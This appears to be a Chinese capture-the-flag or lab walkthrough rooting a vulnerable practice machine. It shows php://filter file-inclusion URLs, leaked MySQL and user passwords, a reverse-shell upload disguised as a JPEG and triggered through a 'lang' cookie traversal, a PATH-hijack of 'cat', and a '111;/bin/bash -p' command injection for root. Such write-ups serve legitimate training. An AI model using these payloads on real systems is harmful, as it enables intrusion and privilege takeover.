一、主机发现
arp-scan -l
靶机ip:192.168.55.153
二、端口识别、目录枚举、指纹识别
2.1端口识别
nmap -p- 192.168.55.153
2.2目录枚举
dirb http://192.168.55.153
枚举出来的敏感目录找到了文件上传网站和上传的地址
2.3指纹识别
nmap 192.168.55.153 -sV -sC -O --version-all
三、进入页面进行信息收集,反弹shell
进入靶机页面,发现需要登录才可以上传文件
接下来就要尝试怎么登录,这里尝试了sql注入,发现没有报错,bp抓包然后尝试了一下弱口令,也没有弱口令
注意到登录的url中含有page,有可能存在文件包含漏洞,可以进行尝试
尝试一下简单的目录穿越
没有出数据
这时注意到网页是php语言写的,可以尝试php的伪协议
尝试pp伪协议读取login页面的源码
http://192.168.55.153/?page=php://filter/read=convert.base64-encode/resource=login
随后将页面爆出的内容进行base64解码
查看源码发现包含了config.php文件,尝试读取config.php文件
http://192.168.55.153/?page=php://filter/read=convert.base64-encode/resource=config.php(失败)
http://192.168.55.153/?page=php://filter/read=convert.base64-encode/resource=config(成功)
此靶机读取文件时不能加文件的后缀
读取后的文件解码后发现是数据库的账号密码
<?php
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?
连接数据库,找到账号密码
mysql -h 192.168.55.153 -uroot -p
密码:H4u%QJ_H99
show databases;
use Users;
show tables;
select * from users;
看着像base64,解密得
kent
JWzXuBJJNy
mike
SIfdsTEn6I
kane
iSv5Ym2GRo
发现使用kent登陆成功
接着上传文件,然后反弹shell试试
首先查看一下上传文件的源码
http://192.168.55.153/?page=php://filter/read=convert.base64-encode/resource=upload
发现使用白名单进行过滤了
找到kali的反弹shell文件(/usr/share/webshells/php)
反弹shell文件要更改攻击机ip和端口
重新创建一个1.php文件,在文件头添加GIF89a绕过对文件头的检验,将php-reverse-shell.php文件全部复制到1.php文件中,然后将后缀改为jpg绕过检验
在文件上传接口进行上传
第二步dirb扫描出来的地址发现上传成功
现在的问题就是怎么访问该文件
分析index.php文件,发现cookie中存在lang这个参数
代码分析:
include("lang/".$_COOKIE['lang']);:这行代码使用include语句来包含一个语言文件。它使用$_COOKIE['lang']的值构建文件路径,并将该文件包含到当前的代码文件中。
基于此,我们可以更改cookie中的lang参数进行反弹shell
先去查看文件上传的地址
http://192.168.55.153/upload/f3ccdd27d2000e3f9255a7e3e2c48800.jpg
然后使用hackbar进行修改cookie
lang=../upload/f3ccdd27d2000e3f9255a7e3e2c48800.jpg
四、提权
系统存在python,可以将shell升级为交互式shell
which python
python -c 'import pty; pty.spawn("/bin/bash")'
在此用户下没找到有用信息,尝试使用su命令进入kent、mike、kane,发现只有mike用户进不去
进入kane用户中,发现目录下有一个文件
执行一下该文件发现该文件中cat命令是用mike用户的shell执行的
查看一下该文件,发现存在一个命令
尝试执行,发现权限不够
刚刚的文件乱码了,可以使用strings命令查看二进制文件
strings msgmike
发现这里使用cat命令,我们可以使用环境变量劫持提权
补充知识:
这里使用cat命令,我们可以在此目录下再创建一个cat文件,文件中写入打开shell的命令并将该文件放到环境变量$PATH的首位,这样系统在执行cat /home/mike/msg.txt命令时会先在当前目录中寻找cat指令,找不到再去PATH中寻找cat指令,这样就达到了‘提权’的目的
开始前我们要提前看一下mike的shell是哪种类型的
cat /etc/passwd
提权命令如下:
echo "/bin/bash" >cat
chmod 777 cat
export PATH=/home/kane:$PATH
./msgmike
拿到mike用户的shell
因为该文件的所有用户以及所有组为mike,当我们运行该文件时,执行我们创建的cat文件里的bin/bash文件为mike权限,故我们的用户切换为了mike
当我们用cd切换到当前用户目录时,发现我们还是处在kane目录下,因为我们现在本质上还是kane用户,我们只不过是劫持了msgmike文件中的cat命令,又因为msgmike文件归属于mike,所以我们现在拥有了mike所拥有的权限
然后我们可以手动切换到/home/mike目录下,查看文件,发现有一个msg2root文件,使用strings命令进行查看
发现该文件是给root用户发消息的
执行该文件可以使用;进行分割命令
111;/bin/bash -p(-p为用最高权限开启)
成功提权!